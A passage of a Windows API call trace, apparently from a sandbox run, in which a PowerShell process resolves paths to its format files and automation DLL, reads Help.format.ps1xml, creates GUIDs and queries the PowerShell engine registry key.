lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0096.741] GetLastError () returned 0x0 [0096.741] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e324, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0096.741] GetLastError () returned 0x0 [0096.743] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.743] GetLastError () returned 0x0 [0096.743] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.743] GetLastError () returned 0x0 [0096.743] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e040, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0096.743] GetLastError () returned 0x0 [0096.743] VirtualQuery (in: lpAddress=0x27d540, lpBuffer=0x27e540, dwLength=0x1c | out: lpBuffer=0x27e540*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.743] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x53a1fd6e, Data2=0xa914, Data3=0x4224, Data4=([0]=0x90, [1]=0x32, [2]=0x36, [3]=0xce, [4]=0x45, [5]=0xf9, [6]=0x2f, [7]=0xf0))) returned 0x0 [0096.743] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.744] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x264f2fb3, Data2=0x9e5a, Data3=0x4a11, Data4=([0]=0xb9, [1]=0xe3, [2]=0x7f, [3]=0x2e, [4]=0xd3, [5]=0x2a, [6]=0x76, [7]=0x90))) returned 0x0 [0096.744] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xe9fe8967, Data2=0x33fe, Data3=0x4cd7, Data4=([0]=0xbc, [1]=0x69, [2]=0x76, [3]=0xee, [4]=0xcf, [5]=0xf8, [6]=0x2b, [7]=0x9b))) returned 0x0 [0096.744] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x38234ded, Data2=0xfc58, Data3=0x4f6f, Data4=([0]=0xba, [1]=0x6f, [2]=0x5, [3]=0xad, [4]=0xe4, [5]=0xb2, [6]=0x78, [7]=0x50))) returned 0x0 [0096.744] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.745] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0096.745] GetLastError () returned 0x0 [0096.745] SetErrorMode (uMode=0x1) returned 0x1 [0096.745] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0096.745] GetLastError () returned 0x0 [0096.745] GetFileType (hFile=0x324) returned 0x1 [0096.745] SetErrorMode (uMode=0x1) returned 0x1 [0096.746] GetFileType (hFile=0x324) returned 0x1 [0096.746] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.748] GetLastError () returned 0x0 [0096.749] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.750] GetLastError () returned 0x0 [0096.750] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.750] GetLastError () returned 0x0 [0096.750] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.750] GetLastError () returned 0x0 [0096.751] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.751] GetLastError () returned 0x0 [0096.751] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.751] GetLastError () returned 0x0 [0096.751] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.751] GetLastError () returned 0x0 [0096.751] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.751] GetLastError () returned 0x0 [0096.753] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.753] GetLastError () returned 0x0 [0096.753] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.753] GetLastError () returned 0x0 [0096.753] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.754] GetLastError () returned 0x0 [0096.754] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.754] GetLastError () returned 0x0 [0096.754] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.754] GetLastError () returned 0x0 [0096.754] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.754] GetLastError () returned 0x0 [0096.755] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.756] GetLastError () returned 0x0 [0096.756] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.756] GetLastError () returned 0x0 [0096.759] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.759] GetLastError () returned 0x0 [0096.760] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.760] GetLastError () returned 0x0 [0096.760] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.760] GetLastError () returned 0x0 [0096.760] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.760] GetLastError () returned 0x0 [0096.760] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.761] GetLastError () returned 0x0 [0096.761] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.761] GetLastError () returned 0x0 [0096.761] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.761] GetLastError () returned 0x0 [0096.761] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.761] GetLastError () returned 0x0 [0096.762] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.762] GetLastError () returned 0x0 [0096.762] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.762] GetLastError () returned 0x0 [0096.762] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.762] GetLastError () returned 0x0 [0096.762] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.762] GetLastError () returned 0x0 [0096.763] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.763] GetLastError () returned 0x0 [0096.763] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.763] GetLastError () returned 0x0 [0096.763] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.763] GetLastError () returned 0x0 [0096.763] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.763] GetLastError () returned 0x0 [0096.768] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.768] GetLastError () returned 0x0 [0096.768] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.768] GetLastError () returned 0x0 [0096.768] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.768] GetLastError () returned 0x0 [0096.769] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.769] GetLastError () returned 0x0 [0096.769] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.769] GetLastError () returned 0x0 [0096.769] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.769] GetLastError () returned 0x0 [0096.769] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.769] GetLastError () returned 0x0 [0096.770] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.770] GetLastError () returned 0x0 [0096.770] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.770] GetLastError () returned 0x0 [0096.770] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.770] GetLastError () returned 0x0 [0096.770] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.770] GetLastError () returned 0x0 [0096.770] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.771] GetLastError () returned 0x0 [0096.771] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.771] GetLastError () returned 0x0 [0096.771] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.771] GetLastError () returned 0x0 [0096.771] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.771] GetLastError () returned 0x0 [0096.771] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.771] GetLastError () returned 0x0 [0096.772] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.772] GetLastError () returned 0x0 [0096.772] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.772] GetLastError () returned 0x0 [0096.772] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.772] GetLastError () returned 0x0 [0096.772] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.772] GetLastError () returned 0x0 [0096.773] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.773] GetLastError () returned 0x0 [0096.773] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.773] GetLastError () returned 0x0 [0096.773] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.773] GetLastError () returned 0x0 [0096.773] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.773] GetLastError () returned 0x0 [0096.773] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.773] GetLastError () returned 0x0 [0096.774] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.774] GetLastError () returned 0x0 [0096.774] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.774] GetLastError () returned 0x0 [0096.774] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.774] GetLastError () returned 0x0 [0096.774] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.774] GetLastError () returned 0x0 [0096.775] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.775] GetLastError () returned 0x0 [0096.775] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0xf37, lpOverlapped=0x0) returned 1 [0096.775] GetLastError () returned 0x0 [0096.775] ReadFile (in: hFile=0x324, lpBuffer=0x2ef014f, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef014f*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.775] GetLastError () returned 0x0 [0096.775] ReadFile (in: hFile=0x324, lpBuffer=0x2ef0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ef0a78*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.775] GetLastError () returned 0x0 [0096.775] CloseHandle (hObject=0x324) returned 1 [0096.775] GetLastError () returned 0x0 [0096.776] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0096.776] GetLastError () returned 0x0 [0096.776] SetErrorMode (uMode=0x1) returned 0x1 [0096.776] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2f11a74 | out: lpFileInformation=0x2f11a74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0096.776] GetLastError () returned 0x0 [0096.776] SetErrorMode (uMode=0x1) returned 0x1 [0096.776] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0096.776] GetLastError () returned 0x0 [0096.776] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e7e8 | out: phkResult=0x27e7e8*=0x324) returned 0x0 [0096.777] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x0, lpcbData=0x27e82c*=0x0 | out: lpType=0x27e830*=0x1, lpData=0x0, lpcbData=0x27e82c*=0x56) returned 0x0 [0096.777] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x6f7118, lpcbData=0x27e82c*=0x56 | out: 